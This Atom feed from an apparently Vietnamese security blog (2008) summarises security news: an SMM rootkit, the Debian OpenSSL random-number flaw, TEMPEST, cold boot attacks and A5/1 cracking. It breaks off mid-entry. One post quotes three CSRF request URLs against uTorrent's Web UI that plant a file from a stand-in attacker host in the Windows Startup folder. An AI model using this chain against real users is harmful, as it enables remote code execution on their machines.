<?xml version="1.0" ?>
<?xml-stylesheet href="atom.css" type="text/css"?>
<!-- Perhaps "context" should be replaced with "view"? [Reinout]-->
<atom:feed xmlns="http://www.w3.org/2005/Atom"
           xmlns:atom="http://www.w3.org/2005/Atom"
           xmlns:dc="http://purl.org/dc/elements/1.1/"
           xml:base="http://www.vnsecurity.net"
           xml:lang="en">

  <div xmlns="http://www.w3.org/1999/xhtml">
    <a href="http://www.atomenabled.org/feedvalidator/check.cgi?url=http://www.vnsecurity.net/Members/rd">
      <img title="Validate my Atom feed" width="88"
           height="31"
           src="http://www.atomenabled.org/feedvalidator/images/valid-atom.png"
           alt="[Valid Atom]" border="0px"/>
    </a>
    <p>
      <span>
        This is an Atom formatted XML site feed. It is intended to be viewed in
        a Newsreader or syndicated to another site. Please visit 
      </span>
      <a href="http://www.atomenabled.org/">Atom Enabled</a>
      <span>
        for more info.
      </span>
    </p>
  </div>

  <atom:title type="html">rd</atom:title>
  <atom:subtitle></atom:subtitle>

  <atom:updated>2008-05-15T08:06:29+00:00</atom:updated>

  <atom:link href="http://www.vnsecurity.net/Members/rd"
             rel="alternate" type="text/html"/>

  

  <atom:id>4a892f3d077e0f2cca1cda5a07c0028f</atom:id>

  <atom:generator uri="http://plone.org/products/fatsyndication/" version="0.1">fatsyndication</atom:generator>

  

    <atom:entry>

      <atom:title>R2D2 DVD projector and Wireless webcam.</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2008/05/14/r2d2-dvd-projector-and-wireless-webcam">
        http://plone.org/
      </atom:link>

      <atom:id>c569d63eae7044c6674910080942ae40</atom:id>
      <atom:summary>Geek gadgets! For the Star Wars/Electronics Geek. Check the cool intro video!</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;&lt;br&gt;
&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="650" height="464"&gt;
  &lt;param name="movie" value="http://www.nikkor2d2.com/flash/mainsitewindow.swf"&gt;
  &lt;param name="quality" value="high"&gt;
  &lt;embed src="http://www.nikkor2d2.com/flash/mainsitewindow.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="700" height="500"&gt;
&lt;/object&gt;
&lt;br&gt;
&lt;/p&gt;&lt;p&gt;&lt;b&gt;Links:&lt;/b&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.nikkor2d2.com/" target="_blank"&gt;http://www.nikkor2d2.com/&lt;/a&gt; &lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2008-05-14T06:10:48+00:00</atom:published>

      <atom:updated>2008-05-14T06:30:35+00:00</atom:updated>

      
        <atom:category term="Misc"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>SMM rootkit PoC demo at Black Hat 08</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2008/05/13/smm-rootkit-poc-demo-at-black-hat-08">
        http://plone.org/
      </atom:link>

      <atom:id>39445202a74b0b6a6d4a8d131598ef42</atom:id>
      <atom:summary>Sherri Sparks và Embleton sẽ demo bản SMM  (System Management Mode) rootkit tại Black Hat 2008 sắp tới. Đây là loại rootkit sẽ rất khó phát hiện, khó hơn việc phát hiện virtualization rookit do SMM rootkit có thể lock SMRAM lại và khi đó chỉ BIOS mới có thể truy cập SMRAM. </atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;FYI, với kiến trúc x86 thì để thay đổi SMI handler (cho rootkit) chỉ có 2 cách hoặc là patch BIOS hoặc thay đổi trực tiếp từ SMRAM nếu D_LCK bit không được set. Ngoài ra ITP (In-Target Probe) cũng có thể được dùng để thay đổi SMRAM hay debug SMI.  Theo thông tin riêng tôi biết từ tác giả của SMM rookit sẽ được trình bày tại &lt;a href="http://www.blackhat.com/html/bh-usa-08/bh-usa-08-schedule.html"&gt;BlackHat 08&lt;/a&gt; sắp tới thì họ tận dụng lỗi cũ của chipset được công bố năm 2006 khi không khóa vùng nhớ SMRAM. Duflot đã trình bày việc tận dụng lỗi này để phá lớp bảo vệ của &lt;i&gt;OpenBSD secure levels&lt;/i&gt; tại CanSecWest 2006. BSDaemon cũng đã đề cập một phần về chủ đề này tại &lt;a href="http://conf.vnsecurity.net/program/frontpage?pageIndex=1"&gt;VNSECON 07&lt;/a&gt; và viết một bài nghiên cứu về việc này trên Phrack Magazine.&lt;/p&gt;&lt;p&gt;Cấu hình của chipset sau này mặc định D_LCK sẽ được bật nên SMRAM sẽ không thể truy cập và thay đổi trừ  khi patch lại BIOS. Yuriy của Intel Security Center of Exellence cũng sẽ trình bày tại BlackHat 08 sắp tới &lt;a href="http://www.blackhat.com/html/bh-usa-08/bh-usa-08-speakers.html#Bulygin"&gt;một giải pháp&lt;/a&gt; để phát hiện virtualization rookit sử dụng bộ vi xử lý riêng nhúng trong MCH (northbridge). Giải pháp này cũng có thể được sử dụng để phát hiện SMM rootkit.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;b&gt;Links:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.pcworld.com/businesscenter/article/145703/hackers_find_a_new_place_to_hide_rootkits.html"&gt;Hackers Find a New Place to Hide Rootkits&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.blackhat.com/html/bh-usa-08/bh-usa-08-schedule.html"&gt;BlackHat USA 08&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.cansecwest.com/slides06/csw06-duflot.ppt"&gt;Security Issues Related to Pentium System Management Mode&lt;/a&gt;&lt;br&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://conf.vnsecurity.net/program/frontpage?pageIndex=1"&gt;VNSECON 07&lt;/a&gt; &lt;br&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.phrack.com/issues.html?issue=65&amp;amp;id=7"&gt;System Management Mode Hack - Using SMM for "Other Purposes"&lt;/a&gt; &lt;br&gt;&lt;/li&gt;&lt;/ul&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2008-05-13T21:48:21+00:00</atom:published>

      <atom:updated>2008-05-15T08:06:29+00:00</atom:updated>

      
        <atom:category term="Rootkits"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Debian openssl package fix predictable random number generator </atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2008/05/13/debian-openssl-package-fix-predictable-random-number-generator">
        http://plone.org/
      </atom:link>

      <atom:id>c5884a7a11cb044e5ea34a5867df5834</atom:id>
      <atom:summary>Debian đã công bố khuyến nghị bảo mật và cung cấp bản vá lỗi cho gói openssl của Debian cho lỗi trong phần sinh số ngẫu nhiên (random number generator). Lỗi được vá trong OpenSSL PRNG (pseudo random number generator) là lỗi do một Debian developer chỉnh sửa lại code của OpenSSL khiến cho bộ sinh số ngẫu nhiên này chỉ được "seed" bởi process pid. </atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;Debian developer vào 05/2006 đã &lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=363516" target="_blank"&gt;chỉnh sửa lại code của OpenSSL&lt;/a&gt; sau khi sửa lỗi "uninitialized variable" do &lt;a href="http://valgrind.org/" target="_blank"&gt;valgrind&lt;/a&gt; cảnh báo. Tuy nhiên do không hiểu đây là sự cố tình sử dụng biến không được khởi tạo như một yếu tố "ngẫu nhiễn" của OpenSSL developer, Debian developer &lt;a href="http://svn.debian.org/viewsvn/pkg-openssl/openssl/trunk/rand/md_rand.c?rev=141&amp;amp;view=diff&amp;amp;r1=141&amp;amp;r2=140&amp;amp;p1=openssl/trunk/rand/md_rand.c&amp;amp;p2=/openssl/trunk/rand/md_rand.c" target="_blank"&gt;đã loại bỏ một số đoạn mã trong hàm PRNG&lt;/a&gt; khiến cho cho bộ sinh số ngẫu nhiên này chỉ được "seed" bởi process pid từ hệ thống. Điều này dẫn đến thư viện OpenSSL do Debian cung cấp này chỉ sinh ra 32,768 cặp khóa duy nhất từ PRNG, đồng nghĩa với việc độ an toàn của các khóa RSA, DSA, ... chỉ còn là 15 bits. &lt;br&gt;&lt;br&gt;Các mã khóa được sinh ra từ các gói có sử dụng thư viện OpenSSL bị lỗi này như SSH, OpenVPN, DNSSEC, X.509 certificates đều cần phải được sinh (generate) lại khóa từ đầu. &lt;br&gt;&lt;br&gt;Đây là một ví dụ điển hình cho việc vì sao các nhà đóng gói phần mềm không nên tự ý chỉnh sửa code của các thư viện, phần mềm nếu không hiểu rõ về nó và nếu có chỉnh sửa thì nên gửi lại bản patch cho nhà phát triển của gói phần mềm đó để kiểm tra và cập nhật.&lt;br&gt;&lt;br&gt;&lt;b&gt;Links:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://lists.debian.org/debian-security-announce/2008/msg00152.html" target="_blank"&gt;[SECURITY] [DSA 1571-1] New openssl packages fix predictable random number 
generator &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=363516" target="_blank"&gt;Debian Bug report logs - #363516 - valgrind-clean the RNG&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://svn.debian.org/viewsvn/pkg-openssl/openssl/trunk/rand/md_rand.c?rev=141&amp;amp;view=diff&amp;amp;r1=141&amp;amp;r2=140&amp;amp;p1=openssl/trunk/rand/md_rand.c&amp;amp;p2=/openssl/trunk/rand/md_rand.c" target="_blank"&gt;Diff for /openssl/trunk/rand/md_rand.c between version 140 and 141&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2008-05-13T20:16:23+00:00</atom:published>

      <atom:updated>2008-05-15T08:06:29+00:00</atom:updated>

      
        <atom:category term="Vulnerabilities"/>
      
      
        <atom:category term="Cryptography"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Wolfotrack, 3D Firewall GUI</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2008/05/09/wolfotrack-3d-firewall-gui">
        http://plone.org/
      </atom:link>

      <atom:id>3426c34966a0b844bd2aa4b9383f1a82</atom:id>
      <atom:summary>Mấy bạn ác min sẽ rất thích. Visual firewall của bạn mikado thật không thể sánh bằng :D</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;Wolfotrack is a netfilter connection tracking killer with a 3D GUI based on game Wolfenstein 3D! You simply kill people that are tight to a state updated by the connection tracking. Everytime a door is opened, this table is refreshed. And when the actor is killed, the connection tracking associated is killed as well! Nice!:D&lt;/p&gt;&lt;br&gt;&lt;ul&gt;&lt;li&gt;Youtube demo video: &lt;a href="http://www.youtube.com/watch?v=z3zRnHPFPrc" target="_blank"&gt;http://www.youtube.com/watch?v=z3zRnHPFPrc&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Project Page: &lt;a href="http://software.inl.fr/trac/wiki/Wolfotrack" target="_blank"&gt;http://software.inl.fr/trac/wiki/Wolfotrack&lt;/a&gt;&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2008-05-09T10:48:27+00:00</atom:published>

      <atom:updated>2008-05-09T10:49:04+00:00</atom:updated>

      
        <atom:category term="Firewall"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Google làm phật lòng Trung Quốc</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2008/05/09/google-lam-phat-long-trung-quoc">
        http://plone.org/
      </atom:link>

      <atom:id>02c270887fac623aea5858628ed27c76</atom:id>
      <atom:summary>Chính phủ Trung Quốc hiện đang điều tra việc vi phạm luật về bí mật quốc gia của Trung Quốc đối với Google cùng một số dịch vụ tìm kiếm và một số công ty cung cấp ảnh vệ tinh khác. </atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;
&lt;/p&gt;&lt;p&gt;Các công ty trên bị cáo buộc vi phạm luật về bí mật quốc gia của Trung Quốc do công bố ảnh chụp vệ tinh các cơ sở bí mật, căn cứ quân sự của Trung Quốc.&lt;br&gt;&lt;/p&gt;&lt;p&gt;Trung Quốc cũng phản ứng khó chịu khi các nhà cung cấp dịch vụ bản đồ trực tuyến như Google không ghi rõ Đài Loan là một phần của Trung Quốc mà ngầm ý xem Đài Loan như một quốc gia độc lập. Hiện Trung Quốc điều tra khoảng 10,000 bản đồ trực tuyến "phạm luật" do "vẽ lại biên giới Trung Quốc" với ám chỉ về những khu vực còn tranh chấp như Đài Loan, Hoàng Sa Trường Sa (tranh chấp với Việt Nam và một số nước Đông Nam Á khác) hay đảo Điếu Ngư (Diaoyu - tranh chấp với Nhật Bản). &lt;br&gt;&lt;/p&gt;&lt;p&gt;Một điểm đáng chú ý là theo như bài báo đưa tin thì tuần trước, qua hình ảnh vệ tinh chụp được, người ta phát hiện ra một căn cứ tàu ngầm mới được xây dựng của hải quân Trung Quốc tại đảo Hải Nam, gần khu vực đang tranh chấp là quần đảo Hoàng Sa - Trường Sa với Việt Nam. &lt;/p&gt;&lt;br&gt;&lt;div align="center"&gt;&lt;br&gt;&lt;/div&gt;
&lt;div align="center"&gt;&lt;img src="http://www.telegraph.co.uk/telegraph/multimedia/archive/00667/china-naval-base-19_667138e.gif" alt="Map: Sanya naval base, China" height="228" width="192"&gt;&lt;br&gt;&lt;br&gt;

&lt;/div&gt;&lt;div align="center"&gt;
&lt;br&gt;&lt;img src="http://www.telegraph.co.uk/telegraph/multimedia/archive/00668/china_668391c.jpg" alt="Last week satellite imagery revealed a substantial harbour that could house a score of nuclear ballistic missile submarines" height="250" width="404"&gt;&lt;/div&gt;&lt;div align="center"&gt;
&lt;/div&gt;&lt;div align="center"&gt;DIGITAL GLOBE&lt;/div&gt;&lt;div align="center"&gt;
&lt;/div&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;p align="center"&gt;&lt;img src="http://www.telegraph.co.uk/telegraph/multimedia/archive/00666/china-nuclear-big_666891a.jpg" height="501" width="599"&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;br&gt;&lt;p&gt;Đọc tin chi tiết tại &lt;a href="http://www.telegraph.co.uk/news/worldnews/asia/china/1932550/Google-%27breaching-China%27s-state-secrecy-laws%27.html" target="_blank"&gt;U.K.’s Daily Telegraph&lt;/a&gt;. &lt;br&gt;&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2008-05-09T08:48:00+00:00</atom:published>

      <atom:updated>2008-05-09T10:49:04+00:00</atom:updated>

      
        <atom:category term="Politics"/>
      
      
        <atom:category term="Laws"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Secret History of TEMPEST</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2008/05/07/secret-history-of-tempest">
        http://plone.org/
      </atom:link>

      <atom:id>e201fa74bdc72ceb8bd66dcd0969044c</atom:id>
      <atom:summary>Interesting stories about the history of TEMPEST has been revealed by NSA from a declassified document </atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          It was 1943, and an engineer with Bell Telephone was working on one of
the U.S. government's most sensitive and important pieces of wartime
machinery, a Bell Telephone model 131-B2. It was a top secret encrypted
teletype terminal used by the Army and Navy to transmit wartime
communications that could defy German and Japanese cryptanalysis.&lt;br&gt;&lt;br&gt;&lt;p&gt;Then he noticed something odd.&lt;/p&gt;

&lt;p&gt;Far across the lab, a freestanding oscilloscope had developed a
habit of spiking every time the teletype encrypted a letter. Upon
closer inspection, the spikes could actually be translated into the
plain message the machine was processing. Though he likely didn't know
it at the time, the engineer had just discovered that all information
processing machines send their secrets into the electromagnetic ether.&lt;/p&gt;

&lt;p&gt;Call it a TEMPEST in a teletype.&lt;/p&gt;

&lt;p&gt;This story of how the United States first learned about the
fundamental security vulnerability called "compromising emanations" is
revealed for the first time in a newly-declassified 1972 paper &lt;a href="http://www.nsa.gov/public/pdf/tempest.pdf"&gt;TEMPEST: A Signal Problem&lt;/a&gt; (.pdf), from the National Security Agency's secret in-house journal &lt;em&gt;&lt;a href="http://www.nsa.gov/public/crypt_spectrum.cfm"&gt;Cryptologic Spectrum&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;

"There has always been speculation about TEMPEST coming out of the Cold War period," says Joel McNamara, author of &lt;a href="http://www.nsa.gov/public/pdf/tempest.pdf"&gt;&lt;em&gt;Secrets of Computer Espionage: Tactics and Countermeasures&lt;/em&gt;&lt;/a&gt;, who maintained for years the best compilation of &lt;a href="http://www.eskimo.com/%7Ejoelm/tempest.html"&gt;public information on TEMPEST&lt;/a&gt;.  "But the 1943 Bell Labs discovery is roughly ten years earlier than I would have expected." &lt;br&gt;&lt;/p&gt;&lt;br&gt;Links:&lt;br&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.nsa.gov/public/pdf/tempest.pdf"&gt;http://www.nsa.gov/public/pdf/tempest.pdf&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.nsa.gov/public/crypt_spectrum.cfm"&gt;http://www.nsa.gov/public/crypt_spectrum.cfm&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.eskimo.com/~joelm/tempest.html"&gt;http://www.eskimo.com/~joelm/tempest.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/TEMPEST"&gt;http://en.wikipedia.org/wiki/TEMPEST&lt;/a&gt;&lt;br&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blog.wired.com/27bstroke6/2008/04/nsa-releases-se.html"&gt;http://blog.wired.com/27bstroke6/2008/04/nsa-releases-se.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=B05wPomCjEY"&gt;http://www.youtube.com/watch?v=B05wPomCjEY&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2008-05-07T15:24:44+00:00</atom:published>

      <atom:updated>2008-05-09T05:18:49+00:00</atom:updated>

      
        <atom:category term="Physical Security"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Own a box via CSRF  </atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2008/05/07/own-a-box-via-csrf">
        http://plone.org/
      </atom:link>

      <atom:id>be0502cab3a2c138b733691a4bbbd4c9</atom:id>
      <atom:summary>You get bored of CSRF issues every day? Now this is one is a bit more interesting   </atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;br&gt;&lt;p&gt;Rob Carter has posted a blog on how to &lt;a href="http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html"&gt;pwn a box via a pure CSRF bug&lt;/a&gt; of a uTorrent plugin. When a user installs the uTorrent Web UI plugin, the plugin starts a locally running web server on your machine. Basically, his CSRF exploit force uTorrent to move completed downloads to an arbitrary directory on their system, download arbitrary torrents, and completely own their box. &lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI.  http://localhost:14774/gui/?action=setsetting&amp;amp;s=dir_completed_download_flag&amp;amp;v=1&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br&gt;         &lt;/p&gt;&lt;ul&gt;&lt;li&gt;The second CSRF to change the path of where the completed torrent download is placed. For example:&lt;br&gt;http://localhost:14774/gui/?action=setsetting&amp;amp;s=dir_completed_download&amp;amp;v=C:\&lt;br&gt;Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The last CSRF is to force the victim to download a torrent which points to an attacker controlled file.  Once the file is downloaded via torrent, uTorrent places the files into startup folder and automatically run the file in the next windows boot.&lt;br&gt;http://localhost:14774/gui/?action=add-url&amp;amp;s=http://www.attacker.com/file.torrent&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br&gt;                   &lt;br&gt;&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2008-05-07T13:25:36+00:00</atom:published>

      <atom:updated>2008-05-09T05:18:49+00:00</atom:updated>

      
        <atom:category term="Web Security"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Software based disk encryption not secure enough!</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2008/02/22/software-based-disk-encryption-not-secure">
        http://plone.org/
      </atom:link>

      <atom:id>f6c81dfa7c7cc7711da8d8b652edef8b</atom:id>
      <atom:summary>Researchers at Princeton University has released a white paper named 
 "Lest We Remember: Cold Boot Attacks on Encryption Keys" [1] about gaining access to the contents of a computer's RAM after power off and/or reboot and used it to defeat various popular disk encryption systems such as Microsoft's BitLocker, Apple's FileVault, TrueCrypt, dm-crypt.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Contrary to conventional wisdom, "volatile" semiconductor memory does not entirely lose its contents when power is removed. Both static (SRAM) and dynamic (DRAM) memory retains some information on the data stored in it while power was still applied and they still hold values for a long intervals without power or refresh. This is a known [2] problem for a long long time. However, no one has ever tried (or published) any practical attack on this problem like what Princeton University researchers did.&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;This DRAM threat goes beyond disk encryption. Any kind of sensitive data such as password, encryption key, credit card information,... in you RAM could be stolen in just a few minutes. Due to the nature of this problem, it's hard for software based hard disk encryption solution to protect against this attack. Software based solution would be able to try to encrypt/clear the disk key whenever PC goes into inactive state (i.e screen saver, standby, hibernate) but  it's not really practical and/or applicable in some cases. The white paper [1] also offers interesting algorithms &amp;amp; methods to find crypto keys in memory images.&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;If you're really care about your information, you should better to change your behavior to unmount encrypted disk and/or power-off your machine (for a while to give the memory enough time to decay) whenever you're away from your computer if you're using software based disk encryption and/or to use a hardware based disk encryption solution. It turns out that the hardware based disk encryption technology that I'm working on would be a perfect solution to help to protect against this kind of attack. For a full protection, our solution still need to fix a small problem when the computer goes into S3 (standby mode) but just a minor change. FYI, Seagate also has a hardware based hard disk encryption solution ready to use.   &lt;br&gt;&lt;/p&gt;&lt;br&gt;&lt;p&gt;Links:&lt;br&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://citp.princeton.edu.nyud.net/pub/coldboot.pdf" target="_blank"&gt;Lest We Remember: Cold Boot Attacks on Encryption Keys&lt;/a&gt;&lt;br&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html" target="_blank"&gt;Secure Deletion of Data from Magnetic and Solid-State Memory&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br&gt;&lt;br&gt;&lt;p&gt;&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2008-02-22T17:13:49+00:00</atom:published>

      <atom:updated>2008-02-23T05:44:21+00:00</atom:updated>

      
        <atom:category term="Vulnerabilities"/>
      
      
        <atom:category term="Cryptography"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>GSM Monitoring &amp; A5/1 Cracking</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2008/02/22/gsm-monitoring-a5-1-cracking">
        http://plone.org/
      </atom:link>

      <atom:id>9fe0516e527e4387e96c883e32f22204</atom:id>
      <atom:summary>Researchers at a BlackHat security conference in Washington, D.C. this week detailed a method for dramatically reducing the cost and time needed to crack the security that prevents eavesdropping of GSM-based mobile phones.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;Hulton &amp;amp; Steve have &lt;a href="http://blog.washingtonpost.com/securityfix/2008/02/research_may_spell_end_of_mobi.html" target="_blank"&gt;presented&lt;/a&gt; &lt;a href="http://www.forbes.com/2008/02/21/cellular-spying-decryption-tech-security-cx_ag_0221cellular.html" target="_blank"&gt;the new&lt;/a&gt; fast &amp;amp; cheap method of &lt;a href="http://www.blackhat.com/html/bh-dc-08/bh-dc-08-speakers.html#Hulton" target="_blank"&gt;cracking A5/1 GSM encryption&lt;/a&gt; this week at &lt;a href="http://www.blackhat.com/html/bh-dc-08/bh-dc-08-schedule.html" target="_blank"&gt;BlackHat DC Security Conference 2008&lt;/a&gt;. This is the result of &lt;a href="http://wiki.thc.org/cracking_a5" target="_blank"&gt;Cracking A5&lt;/a&gt; and &lt;a href="http://wiki.thc.org/gsm" target="_blank"&gt;GSM scanner project&lt;/a&gt; which has been &lt;a href="http://conf.vnsecurity.net/program" target="_blank"&gt;presented at VNSECON 07&lt;/a&gt; by Steve last year. &lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;FYI, GSM monitoring system has always been there for a long time. However, those devices are very expensive (few hundred thousands to millions USD depends on capabilities, number of channels, antenna,...) and only available to government agents. &lt;br&gt;&lt;/p&gt;&lt;br&gt;&lt;p&gt;Links:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.washingtonpost.com/securityfix/2008/02/research_may_spell_end_of_mobi.html" target="_blank"&gt;http://blog.washingtonpost.com/securityfix/2008/02/research_may_spell_end_of_mobi.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.blackhat.com/html/bh-dc-08/bh-dc-08-speakers.html#Hulton" target="_blank"&gt;http://www.blackhat.com/html/bh-dc-08/bh-dc-08-speakers.html#Hulton&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wiki.thc.org/gsm" target="_blank"&gt;http://wiki.thc.org/gsm&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://wiki.thc.org/cracking_a5" target="_blank"&gt;http://wiki.thc.org/cracking_a5&lt;/a&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://conf.vnsecurity.net/program" target="_blank"&gt;http://conf.vnsecurity.net/program&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name>rd</atom:name>
      </atom:author>

      <atom:published>2008-02-22T12:09:12+00:00</atom:published>

      <atom:updated>2008-02-23T05:44:21+00:00</atom:updated>

      
        <atom:category term="Cryptography"/>
      
      
        <atom:category term="Mobile Security"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Buggy HP iPAQ ROM Update Utility</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/rd/archive/2007/10/29/buggy-hp-ipaq-rom-update-utility">
        http://plone.org/
      </atom:link>

      <atom:id>3ef716e64d3d5c497fb2dd7a1759c9e3</atom:id>
      

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
